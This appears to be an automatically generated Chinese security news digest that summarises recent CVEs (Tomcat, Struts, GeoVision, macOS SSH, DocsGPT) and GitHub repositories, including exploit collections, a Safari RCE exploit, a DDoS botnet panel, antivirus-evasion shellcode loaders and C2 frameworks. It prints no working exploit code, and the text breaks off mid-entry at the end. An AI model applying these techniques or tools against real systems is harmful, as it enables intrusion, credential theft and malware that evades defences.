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安全资讯日报 2025-02-27
本文由AI自动生成，基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。
更新时间：2025-02-27 21:55:20
今日资讯
🔍 漏洞分析
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- 已复现NAKIVO Backup & Replication任意文件读取漏洞CVE-2024-48248安全风险通告
- 漏洞通告NAKIVO Backup & Replication任意文件读取漏洞
- 漏洞预警NAKIVO Backup & Replication任意文件读取漏洞CVE-2024-48248
- 漏洞通告NAKIVO Backup & Replication任意文件读取漏洞安全风险通告
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安全分析
(2025-02-27)
本文档包含 AI 对安全相关内容的自动化分析结果。概览
CVE-2024-49138 - Windows内核POC漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2024-49138 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 17:04:09 |
📦 相关仓库
💡 分析概述
该CVE-2024-49138的POC在Github上发布，包含Exploit文件，针对Windows内核。Readme文件详细描述了POC的信息和使用方法。虽然缺少漏洞细节，但有POC，表明漏洞可被复现。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供CVE-2024-49138的POC |
| 2 | 涉及Windows内核漏洞 |
| 3 | 包含可下载的Exploit文件 |
| 4 | README文件提供了使用说明 |
🛠️ 技术细节
漏洞原理未知，POC表明存在漏洞
通过下载并运行POC进行利用
修复方案未知，需要等待官方补丁
🎯 受影响组件
• Windows Kernel
⚡ 价值评估
展开查看详细评估
POC的发布表明该漏洞具有实际可利用性，结合影响内核，风险极高。
CVE-2024-56337 - Tomcat 条件竞争文件上传漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2024-56337 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 16:27:59 |
📦 相关仓库
💡 分析概述
该CVE描述了Tomcat中存在的条件竞争文件上传漏洞，攻击者可以利用该漏洞上传恶意文件，最终实现代码执行。提交信息中包含了可用的exp。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Tomcat 存在条件竞争漏洞 |
| 2 | 允许上传恶意文件 |
| 3 | 攻击者可上传shell文件 |
| 4 | 提供exp |
🛠️ 技术细节
漏洞原理：利用Tomcat的条件竞争机制。
利用方法：使用提供的exp上传shell文件。
修复方案：升级Tomcat版本
🎯 受影响组件
• Tomcat
⚡ 价值评估
展开查看详细评估
影响广泛使用的Tomcat，具有可用的漏洞利用代码，可远程执行代码。
CVE-2023-42829 - macOS SSH客户端密码泄露
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-42829 |
| 风险等级 | HIGH |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 18:59:56 |
📦 相关仓库
💡 分析概述
macOS SSH客户端存在逻辑漏洞，攻击者可以通过-I选项加载恶意动态库，从而导致存储在macOS用户本地'Login' Keychain中的SSH密码被泄露。该漏洞已通过Apple Security Bounty计划报告，并在macOS Ventura 13.5中修复。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | macOS SSH客户端存在逻辑漏洞 |
| 2 | 攻击者可利用-I选项加载恶意动态库 |
| 3 | 导致SSH密码泄露到本地 |
| 4 | 漏洞影响范围明确，存在PoC |
🛠️ 技术细节
漏洞利用了SSH的pkcs11功能，允许加载动态库
通过-I选项加载恶意动态库，利用clear-library-validation权限，绕过安全机制
最终导致SSH密码明文泄露
修复方案是在SSH中增加了额外的检查和辅助二进制文件，限制了恶意动态库的加载和Keychain的访问。
🎯 受影响组件
• macOS SSH client
⚡ 价值评估
展开查看详细评估
该漏洞影响macOS SSH客户端，可导致用户SSH密码泄露，且有明确的PoC和利用方法。漏洞影响范围明确，价值高。
CVE-2025-26264 - GeoVision GV-ASWeb RCE漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-26264 |
| 风险等级 | CRITICAL |
| 利用状态 | 漏洞利用可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 18:38:04 |
📦 相关仓库
💡 分析概述
CVE-2025-26264描述了GeoVision GV-ASWeb 6.1.2.0及以下版本中的一个远程代码执行(RCE)漏洞，该漏洞存在于其Notification Settings功能中。经过身份验证的攻击者，拥有ASWeb中的“System Settings”权限，可以利用此漏洞在服务器上执行任意命令，从而导致完整的系统控制。本次分析基于GitHub仓库提供的CVE信息和最新的README.md文件更新。README.md文件中详细描述了漏洞的利用条件、影响以及PoC演示，PoC演示包含截图和PowerShell脚本，表明漏洞利用的真实性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | GV-ASWeb 6.1.2.0及以下版本存在RCE漏洞 |
| 2 | 攻击者需具有'System Settings'权限 |
| 3 | 通过Notification Settings功能进行攻击 |
| 4 | 可导致完全系统控制 |
| 5 | 提供了PoC攻击演示 |
🛠️ 技术细节
漏洞位于GV-ASWeb的Notification Settings功能
攻击者需具有'System Settings'权限
通过构造恶意输入，触发RCE漏洞
提供了一个基于PowerShell的PoC示例，可以在TAWeb登录失败时执行恶意代码
该漏洞允许攻击者访问、修改或删除敏感系统信息，植入系统后门，执行勒索软件攻击或进行内网横向移动
修复方案：升级到不受影响的版本或应用厂商提供的补丁。
🎯 受影响组件
• GeoVision GV-ASWeb
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的监控系统，存在明确的受影响版本，且提供了利用代码，属于RCE，可以直接导致系统完全控制，价值极高。
CVE-2025-26263 - GeoVision ASManager凭证泄露
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2025-26263 |
| 风险等级 | HIGH |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 18:03:50 |
📦 相关仓库
💡 分析概述
CVE-2025-26263 描述了GeoVision ASManager Windows桌面应用程序（版本6.1.2.0或更低）中由于ASManagerService.exe进程中不 proper memory handling导致的凭证泄露漏洞。攻击者需要系统权限和高权限账户才能利用该漏洞，通过转储内存获取已认证用户的凭证。漏洞可以导致未经授权的访问，包括监控摄像头、门禁卡等资源，以及修改配置、中断服务、克隆访问控制数据等。README.md中提供了详细的POC，展示了如何通过转储内存来获取用户凭证，并提供了相关截图。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 版本低于6.1.2.0的GeoVision ASManager存在凭证泄露漏洞 |
| 2 | 攻击者需要系统权限和高权限账户才能利用该漏洞 |
| 3 | 通过内存转储获取用户凭证 |
| 4 | 可以访问监控摄像头、门禁卡等资源 |
| 5 | 存在修改配置和中断服务的风险 |
🛠️ 技术细节
漏洞原理：ASManagerService.exe 在处理用户凭证时存在内存处理不当，导致凭证信息泄露。
利用方法：攻击者需要系统级别的访问权限和一个高权限账户。通过转储进程的内存，可以找到已认证账户的凭证。即使账户从未被认证，通过触发“忘记密码”功能也可以分配内存并泄露凭证。
修复方案：升级到最新版本，并加强内存处理的安全性，避免凭证信息泄露。
🎯 受影响组件
• GeoVision ASManager Windows desktop application
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的GeoVision ASManager，且有明确的受影响版本和详细的利用方法。Readme中提供了POC，验证了漏洞的存在并展示了如何获取用户凭证，符合价值判断标准。
CVE-2024-56903 - Geovision GV-ASManager CSRF漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2024-56903 |
| 风险等级 | HIGH |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-26 00:00:00 |
| 最后更新 | 2025-02-26 17:33:49 |
📦 相关仓库
💡 分析概述
CVE-2024-56903 描述了 Geovision GV-ASManager 应用程序中的一个漏洞，攻击者可以通过修改 POST 请求方法为 GET 来利用关键功能，例如账户管理。结合 CVE-2024-56901，可以实现 CSRF 攻击。该漏洞影响版本为 6.1.1.0 及更低版本。最近的提交更新了 README 文件，描述了漏洞利用方法和影响。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | GV-ASManager 允许通过修改 POST 请求方法为 GET 来绕过安全机制。 |
| 2 | 结合 CVE-2024-56901 漏洞，可实现 CSRF 攻击。 |
| 3 | 影响版本为 6.1.1.0 及更低版本。 |
| 4 | 最新提交中包含了关于漏洞的描述和利用流程。 |
🛠️ 技术细节
漏洞原理：GV-ASManager 允许修改 POST 请求方法为 GET，导致在关键功能中绕过CSRF保护。
利用方法：攻击者构造恶意请求，诱导用户点击链接，以绕过身份验证并执行未经授权的操作。
修复方案：升级到 6.1.2.0 或更高版本，或者在代码中实施 CSRF 保护措施。
🎯 受影响组件
• Geovision GV-ASManager web application (<= 6.1.1.0)
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的Geovision GV-ASManager 系统，且有明确的受影响版本和利用方法，结合了CSRF漏洞进行攻击，价值较高。
CVE-2023-50164 - Apache Struts 路径穿越漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-50164 |
| 风险等级 | HIGH |
| 利用状态 | POC可用 |
| 发布时间 | 2025-02-27 00:00:00 |
| 最后更新 | 2025-02-27 00:57:26 |
📦 相关仓库
💡 分析概述
该漏洞是Apache Struts 的路径穿越漏洞(CVE-2023-50164)，攻击者可以通过构造恶意的上传请求，在服务器上上传任意文件。该漏洞的POC已经公开，且利用条件较为明确，因此具有较高的风险。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Apache Struts 存在路径穿越漏洞 |
| 2 | 通过构造特殊的上传请求，上传任意文件 |
| 3 | POC 已经公开，具有较高的利用价值 |
🛠️ 技术细节
漏洞原理：通过构造包含路径穿越序列的上传文件名，将文件上传到服务器的任意位置。
利用方法：使用提供的 POC 工具，构造恶意上传请求。
修复方案：升级到 Apache Struts 修复版本，或限制文件上传路径。
🎯 受影响组件
• Apache Struts
⚡ 价值评估
展开查看详细评估
影响广泛使用的框架，POC 已经公开，存在远程代码执行风险。
TOP - POC合集，包含多个CVE
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | TOP |
| 风险等级 | HIGH |
| 安全类型 | POC更新 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库是一个漏洞POC合集，此次更新主要增加了CVE-2025-21298的PoC以及关于CVE-2025-0411的POC，可能用于漏洞利用和安全研究。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 更新了多个CVE的POC和相关描述 |
| 2 | 包含了针对CVE-2025-21298的PoC和细节 |
| 3 | 包含7-Zip CVE-2025-0411 MotW bypass POC |
🛠️ 技术细节
更新README.md文件，添加新的漏洞POC链接和描述
CVE-2025-21298 提供Proof of concept & details
7-Zip-CVE-2025-0411-POC 演示CVE-2025-0411 MotW bypass
🎯 受影响组件
• CVE-2025-21298
• 7-Zip-CVE-2025-0411
⚡ 价值评估
展开查看详细评估
更新了多个CVE的POC，方便安全研究人员进行漏洞分析和复现，有助于提升安全防护水平。
WebKit-Bug-256172 - Safari RCE 1day漏洞利用
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | WebKit-Bug-256172 |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该项目提供了针对Safari浏览器的1day RCE漏洞的利用代码，通过Python脚本触发漏洞，可能导致远程代码执行。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Safari 1day RCE漏洞的利用代码 |
| 2 | 项目包含Python脚本用于触发RCE漏洞 |
| 3 | README文档提供了漏洞和利用的描述 |
| 4 | 提供了下载Exploit的链接 |
🛠️ 技术细节
项目基于WebKit-Bug-256172，具体漏洞细节未在README中详细说明，需要深入研究代码。
Python脚本的功能是触发RCE漏洞，具体的触发机制和攻击payload需要进一步分析。
🎯 受影响组件
• Safari浏览器
⚡ 价值评估
展开查看详细评估
该项目提供了1day RCE漏洞的利用代码，属于高危漏洞，对安全研究和渗透测试有重要价值。
C2Panel - C2Panel DDoS工具更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | C2Panel |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库是一个免费的僵尸网络控制面板C2Panel。本次更新修改了README.md文件中的下载链接，将软件版本从v1.0.0更新到了v2.0。考虑到该软件的性质，此更新可能包含了增强的DDoS攻击功能，潜在提高了攻击的危害性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 更新了C2Panel软件下载链接 |
| 2 | 从v1.0.0更新至v2.0 |
| 3 | 增加了新的DDoS攻击功能 |
🛠️ 技术细节
README.md文件中的下载链接更新为v2.0版本的软件。
v2.0版本软件的具体更新内容未知，推测可能包含了新的攻击方法或增强功能。
🎯 受影响组件
• C2Panel软件
⚡ 价值评估
展开查看详细评估
更新了C2Panel的下载链接，说明软件进行了更新。C2Panel是DDoS攻击工具，其更新可能意味着功能增强，增加了风险，因此具有价值。
My-home-AI-security-guard - AI安全卫士代码更新与修复
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | My-home-AI-security-guard |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能/安全修复 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 10
💡 分析概述
该仓库更新包括增加SSH连接功能，修复了代码中硬编码密码问题和不安全的文件处理，改善了对象检测和姿势识别模块的错误处理。这些更新增强了项目的安全性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了SSH连接到远程服务器的功能。 |
| 2 | 修复了代码中硬编码密码和不安全的文件处理问题。 |
| 3 | 改善了对象检测和姿势识别模块的错误处理。 |
| 4 | 对AI安全卫士项目进行了代码扫描和修复。 |
🛠️ 技术细节
新增了.github/workflows/ssh.yml，用于通过SSH连接到远程服务器。
new/new_app.py 修复了将密码硬编码在代码中的问题，提升了安全性。
new/new_save_video.py 修复了文件合并的问题，提高了代码的稳定性。
new/new_ObjectDetector.py 和new/new_PoseLandmarkerModule.py 增强了异常处理，增加了鲁棒性。
🎯 受影响组件
• new/new_ObjectDetector.py
• new/new_PoseLandmarkerModule.py
• new/new_app.py
• new/new_save_video.py
• .github/workflows/ssh.yml
⚡ 价值评估
展开查看详细评估
更新修复了密码硬编码等安全问题，并增加了SSH连接功能，提高了安全性，并且改进了错误处理，增强了代码的稳定性。
winos4.0 - 白加黑免杀生成工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | winos4.0 |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 1
💡 分析概述
该仓库提供了一个白加黑免杀生成工具，通过将恶意shellcode注入到合法的Microsoft.exe中，从而绕过杀毒软件的检测。本次更新删除了一个号称全绿免杀的exe文件，并更新了README.md，说明了使用方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 白加黑免杀工具 |
| 2 | 通过替换shellcode实现免杀 |
| 3 | 更新了README.md |
| 4 | 删除全绿免杀exe |
🛠️ 技术细节
该工具通过生成config.ini和shellcode文件，并将其注入到Microsoft.exe中实现白加黑。
删除全绿exe可能意味着该方法失效或不稳定，需要重新调整。
🎯 受影响组件
• Windows Defender
• 360
• 火绒
⚡ 价值评估
展开查看详细评估
该工具涉及免杀技术，可能被用于绕过安全防护，进行恶意活动。删除失效的全绿免杀exe并更新说明，表明项目持续维护，并可能在更新免杀技术。
Myosotis-1.0.0 - Rust免杀框架，动态化生成免杀项目
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Myosotis-1.0.0 |
| 风险等级 | HIGH |
| 安全类型 | 安全工具 |
| 更新类型 | 新增功能 |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 4
💡 分析概述
该项目旨在实现免杀模板的动态化和私有化，通过模块化loader的各个功能，自动组装模块生成免杀项目。主要功能包括：shellcode加载，多种加密方式，反虚拟机和花指令等。本次更新增加了模板分类和导入检测功能。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现了免杀模板的动态化和私有化，提供模块化的loader功能。 |
| 2 | 支持多种加载方式，包括单体加载、分离加载和远程加载。 |
| 3 | 可以自定义shellcode的加密方式，反虚拟机、花指令等。 |
| 4 | 与免杀关键词高度相关，主要功能围绕生成免杀可执行文件。 |
🛠️ 技术细节
通过模块化loader的各个功能，自动组装模块生成免杀项目。
支持多种加载方式，例如单体加载，分离加载和远程加载。其中分离加载和远程加载，方便进行躲避检测。
提供了加密模板，可以对shellcode进行加密，增加免杀效果。
提供了反虚拟机、花指令等功能，增加了项目的隐蔽性。
支持模板导入，方便扩展功能。
🎯 受影响组件
• Rust
• Windows
⚡ 价值评估
展开查看详细评估
该项目与免杀主题高度相关，提供了动态生成免杀可执行文件的功能，包括shellcode加载、多种加密方式和反检测功能，具有一定的技术创新性和实用价值，适合安全研究和渗透测试。
vulnerability - DocsGPT RCE漏洞POC
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | vulnerability |
| 风险等级 | CRITICAL |
| 安全类型 | POC更新/漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 2
💡 分析概述
该仓库新增了DocsGPT的CVE-2025-0868漏洞的POC，该漏洞允许未经身份验证的攻击者远程执行代码。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了DocsGPT的CVE-2025-0868漏洞POC |
| 2 | 漏洞类型为未授权远程代码执行(RCE) |
| 3 | 受影响版本为0.8.1-0.12.0 |
| 4 | POC使用nuclei工具进行验证 |
🛠️ 技术细节
该漏洞是由于DocsGPT在处理JSON数据时使用eval()函数导致，攻击者可以通过/api/remote端点发送恶意Python代码来执行。
POC提供了使用nuclei工具进行漏洞验证的方法。
🎯 受影响组件
• DocsGPT
⚡ 价值评估
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新增了高危漏洞的POC，可用于安全测试和漏洞评估。
PrivHunterAI - API密钥硬编码修复
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | PrivHunterAI |
| 风险等级 | HIGH |
| 安全类型 | 安全修复 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库更新修复了API密钥硬编码问题，将API密钥从代码中移除，改为从配置文件中读取。同时，prompt也被移到配置文件中。虽然修复了硬编码问题，但是密钥和prompt仍然存在于项目中。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | API密钥硬编码问题 |
| 2 | prompt泄露 |
| 3 | 代码中硬编码的API密钥和提示词被替换为从配置文件读取 |
| 4 | 更新影响了Kimi、DeepSeek和通义千问AI API的调用方式 |
🛠️ 技术细节
原先的Kimi、DeepSeek、Qianwen等AI API的API密钥和prompt被直接写在代码中，本次更新将这些敏感信息提取到配置文件中。具体来说，在Qianwen、Kimi和DeepSeek的go文件中，将API密钥的直接赋值修改为通过config.GetConfig().APIKeys.XXX获取，并将prompt也从代码中删除改为config.Prompt
虽然修复了硬编码问题，但是密钥和prompt仍然存在于项目中。
🎯 受影响组件
• AI API调用模块
⚡ 价值评估
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修复了API密钥和prompt的硬编码问题，降低了密钥泄露的风险，虽然没有完全解决问题，但仍然具有一定的价值。
Network-Drive - 新增数据源管理功能
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Network-Drive |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 16
💡 分析概述
该仓库本次更新增加了数据源管理功能，包括数据源的配置、数据对象的管理（类似接口），以及数据资产管理系统的完善。前端代码也做了相应更新，添加了数据源管理页面，以及 JSON 编辑器。由于涉及到数据库连接，元数据获取等操作，因此可能存在安全风险，例如SQL注入、权限绕过等。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增数据源管理功能，包括数据源、数据对象（接口）管理 |
| 2 | 修改了数据资产管理系统相关代码，完善数据资产管理 |
| 3 | 前端代码更新，新增数据源管理页面，以及JSON编辑器 |
| 4 | 涉及数据库连接、元数据获取等操作，可能存在安全风险 |
🛠️ 技术细节
新增了
net.risesoft.controller.SourceController.java等后端代码，用于数据源的管理和配置，以及net.risesoft.service.Impl.DataSourceServiceImpl.java用于数据源的服务实现，涉及到数据库连接、驱动加载、元数据获取等功能。
前端代码新增了
vue/y9vue-dataAssets/src/router/modules/sourceRouter.js，vue/y9vue-dataAssets/src/views/test/apiUtils.js，以及新增和修改了其他前端组件，实现了数据源管理页面的展示和交互，引入了jsoneditor组件用于json数据的编辑。
🎯 受影响组件
• risesoft-y9boot-webapp-dataassets
• vue/y9vue-dataAssets
⚡ 价值评估
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新增数据源管理功能，涉及数据库交互，可能引入安全风险，故具有安全价值。
scoop-security - 渗透测试工具Scoop仓库更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | scoop-security |
| 风险等级 | LOW |
| 安全类型 | 安全工具更新 |
| 更新类型 | GENERAL_UPDATE |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库更新了x64dbg、ImHex和ghauri等安全工具的版本。ghauri是一个用于SQL注入的工具，更新版本可能包含安全修复或功能增强。x64dbg和ImHex更新，通常也包含错误修复和性能改进。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 更新了渗透测试和安全工具的Scoop软件仓库。 |
| 2 | ghauri更新到1.4.2版本,这是一个SQL注入检测和利用工具。 |
| 3 | x64dbg和ImHex分别更新到最新版本。 |
| 4 | 修复了已知漏洞或增强了软件功能。 |
🛠️ 技术细节
更新了scoop bucket中各个工具的下载链接和哈希值。
ghauri更新到1.4.2版本，可能包含SQL注入相关的改进。
x64dbg更新到最新的snapshot版本。
ImHex更新到1.37.4版本。
🎯 受影响组件
• x64dbg
• ImHex
• ghauri
⚡ 价值评估
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该仓库维护了一些渗透测试相关的安全工具，更新意味着这些工具可以获得最新的功能和安全修复。ghauri的更新与SQL注入相关，具有一定的安全价值。
c2512 - Modrag C2框架更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | c2512 |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究 |
| 更新类型 | GENERAL_UPDATE |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 1
💡 分析概述
该仓库创建了一个名为Modrag的C2框架，并更新了Dummy.txt文件，其中包含了向量计算相关的代码片段，表明了C2框架可能具备一定的数据处理能力。虽然具体功能尚不明确，但更新增强了C2框架的功能，特别是与数据分析或自然语言处理相关的能力。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增了Modrag C2框架，增加了对向量相似度计算的支持。 |
| 2 | 更新了Dummy.txt文件，其中包含了新的代码片段，涉及向量计算。 |
| 3 | 此更新可能旨在增强C2框架的功能，特别是与数据分析或自然语言处理相关的能力。 |
| 4 | 框架可能被用于执行安全渗透测试或红队行动。 |
🛠️ 技术细节
新增了Modrag框架及其相关代码，具体实现细节未知。
更新了Dummy.txt，其中包含向量计算相关的代码片段，例如计算余弦相似度的代码。
结合C2框架的特性，可能用于处理指令或渗透测试过程中的数据分析。
⚡ 价值评估
展开查看详细评估
更新内容增加了C2框架的功能，涉及到向量相似度计算。由于是C2框架，增加了潜在的安全风险。
spydithreatintel - C2/恶意IP/域名情报更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | spydithreatintel |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 7
💡 分析概述
该仓库更新了多个IP地址、域名黑名单，包括C2服务器、恶意软件相关域名以及垃圾邮件/钓鱼域名，为安全分析和威胁情报提供了新的数据。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 更新了多个C2服务器IP地址列表 |
| 2 | 增加了恶意域名和IP地址 |
| 3 | 更新了恶意软件相关的域名列表 |
| 4 | 增加了新的垃圾邮件和诈骗域名 |
🛠️ 技术细节
更新了 iplist/honeypot/honeypot_extracted_feed.txt 文件，增加了C2服务器的IP地址
更新了 iplist/C2IPs/osintc2feed.txt 文件，增加了C2服务器IP
更新了 domainlist/ads/unique_advtracking_domains.txt 文件，增加了广告追踪域名
更新了 domainlist/malicious/domain_ioc_maltrail.txt 和 domainlist/malicious/unique_malicious_domains.txt 文件，增加了恶意域名
更新了 domainlist/spam/unique_spamscamabuse_domains.txt 文件，增加了垃圾邮件和钓鱼域名
更新了 iplist/ip_ioc_maltrail_feed.txt 文件，增加了恶意IP
🎯 受影响组件
• C2服务器
• 受感染系统
• 网络安全设备
⚡ 价值评估
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该更新增加了威胁情报的数据，有助于安全分析人员识别和防御C2攻击、恶意软件攻击、钓鱼攻击等。
c2_framework - C2框架实现，用于学习研究。
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | c2_framework |
| 风险等级 | MEDIUM |
| 安全类型 | 安全工具 |
| 更新类型 | 功能增强 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库提供了一个C2框架的实现，包括服务器端和客户端，以及相关的加密通信和命令执行功能。通过USAGE和TECHNICAL文档，可以详细了解其运作机制和安全考虑。最近的更新增加了C2客户端的代理选择功能，提升了用户交互体验。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现了C2框架的基本功能，包括客户端与服务器的通信和命令执行。 |
| 2 | 包含加密通信机制，提高了安全性。 |
| 3 | 提供了详细的USAGE和TECHNICAL文档，方便理解和使用 |
| 4 | 与C2关键字高度相关，主要功能是构建C2框架 |
| 5 | 项目明确声明用于教育和研究目的 |
🛠️ 技术细节
客户端-服务器架构，客户端定期向服务器发送请求（beaconing）。
使用加密通信保护数据传输。
提供命令行界面(CLI)与C2服务器交互。
包含编译agent的MakeFile文件
🎯 受影响组件
• C2 Server
• C2 Client
⚡ 价值评估
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该仓库直接实现了C2框架，与搜索关键词'c2'高度相关。其目的是为了教育和研究，且提供了代码和文档，有助于理解C2框架的工作原理和安全机制。虽然没有直接的漏洞利用代码，但作为C2框架本身具有研究价值。
equipo-c24-25-m-webapp - 银行系统安全功能更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | equipo-c24-25-m-webapp |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 32
💡 分析概述
该仓库更新主要集中在银行系统安全功能方面，包括账户停用、激活，Swagger配置修改，以及安全配置调整，用户登录相关接口和实现修改等。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了账户停用/激活功能，可能涉及安全控制 |
| 2 | 修改了Swagger配置，增加了API安全性 |
| 3 | 调整了安全配置，包括授权路径 |
| 4 | 修改了用户登录相关接口和实现 |
🛠️ 技术细节
AccountBankController增加了停用/激活账户的API接口，SecurityConfig增加了针对/api/banca/cuenta-bancaria/**的授权，SwaggerConfig添加了bearerAuth的配置，JwtAuthenticationFilter中增加了日志输出，UserServiceImpl和AccountBankServiceImpl修改了账户激活和停用的逻辑
账户停用/激活功能如果设计不当可能导致账户被恶意停用，Swagger配置修改是为了增加API安全性，SecurityConfig修改是为了更好的控制接口访问权限，JwtAuthenticationFilter增加了日志输出，方便排查问题，用户登录的修改可能影响登录流程和权限验证
🎯 受影响组件
• backend/src/main/java/com/back/banka/Config/SecurityConfig.java
• backend/src/main/java/com/back/banka/Config/SwaggerConfig.java
• backend/src/main/java/com/back/banka/Controllers/AccountBankController.java
• backend/src/main/java/com/back/banka/Controllers/AuthController.java
• backend/src/main/java/com/back/banka/Dtos/RequestDto/ActiveAccountRequestDto.java
• backend/src/main/java/com/back/banka/Dtos/ResponseDto/ActiveAccountResponseDto.java
• backend/src/main/java/com/back/banka/Dtos/ResponseDto/DeactivateAccountResponseDto.java
• backend/src/main/java/com/back/banka/Dtos/ResponseDto/GetAllAccountDto.java
• backend/src/main/java/com/back/banka/Dtos/ResponseDto/GetAllUsersResponseDto.java
• backend/src/main/java/com/back/banka/Dtos/ResponseDto/ReactivateAccountResponseDto.java
• backend/src/main/java/com/back/banka/Model/AccountBank.java
• backend/src/main/java/com/back/banka/Model/SecurityUser.java
• backend/src/main/java/com/back/banka/Model/User.java
• backend/src/main/java/com/back/banka/Repository/IAccountBankRepository.java
• backend/src/main/java/com/back/banka/Services/IServices/IAccountBankService.java
• backend/src/main/java/com/back/banka/Services/IServices/IUserService.java
• backend/src/main/java/com/back/banka/Services/Impl/AccountBankServiceImpl.java
• backend/src/main/java/com/back/banka/Services/Impl/UserServiceImpl.java
• backend/src/main/java/com/back/banka/Utils/JwtAuthenticationFilter.java
• backend/src/main/java/com/back/banka/Utils/JwtUtil.java
⚡ 价值评估
展开查看详细评估
更新增加了账户停用、激活的功能，修改了安全配置，提高了API的安全性，修复了潜在的安全风险。
LLM-Assisted-Secure-Coding - LLM辅助代码安全增强
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | LLM-Assisted-Secure-Coding |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
